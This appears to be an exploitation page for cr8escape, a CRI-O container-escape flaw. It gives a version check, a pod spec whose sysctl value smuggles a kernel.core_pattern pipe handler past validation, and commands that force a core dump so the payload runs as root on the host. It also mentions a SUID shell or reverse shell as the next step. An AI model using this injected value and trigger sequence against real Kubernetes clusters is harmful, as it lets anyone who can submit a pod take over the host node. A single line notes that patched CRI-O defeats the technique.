CRI-O configures per-pod kernel parameters through a helper called pinns, which it invokes with the sysctls requested in the pod specification. The flaw, known as cr8escape, was that CRI-O built the pinns argument string by joining requested parameters without validating them, so a crafted value could inject an additional kernel parameter beyond the allowed namespaced sysctls. By smuggling a non-namespaced setting such as kernel.core_pattern into that argument, an attacker who can create a pod sets a host-wide kernel parameter, then triggers it to execute code as root on the host.
Confirm the runtime:
crictl version 2>/dev/null | grep -i cri-o # CRI-O in the affected 1.19-1.23 range
Technique#
The injected parameter sets core_pattern to a pipe handler, which the host kernel runs as root on a core dump:
# Pod spec requesting a sysctl whose value injects an extra kernel parameter.
# The crafted value closes the intended setting and appends core_pattern.
securityContext:
sysctls:
- name: kernel.shm_rmid_forced
value: "1+kernel.core_pattern=|/var/lib/.../payload #"
Once core_pattern points at a host-resolvable payload, crashing any process generates a core that the kernel pipes to the payload as root in the host namespaces:
# inside any pod on that node, force a core dump to fire the handler
ulimit -c unlimited
python3 -c 'import ctypes; ctypes.string_at(0)' # segfault triggers core_pattern
The payload executes on the host; a SUID bash drop or reverse shell follows. The mechanism downstream is identical to the core_pattern escape, with CRI-O providing the write primitive instead of a mounted procfs.
Exploitation notes#
- The entry point is the ability to create or influence a pod specification, so this matters wherever untrusted users submit workloads to a CRI-O cluster.
- The injected value must both satisfy the requested sysctl and append the extra parameter; the separator and comment syntax in the crafted value are what smuggle the second setting past the join.
- Fixes validate the parameters passed to
pinnsand reject injection characters; patched CRI-O defeats it.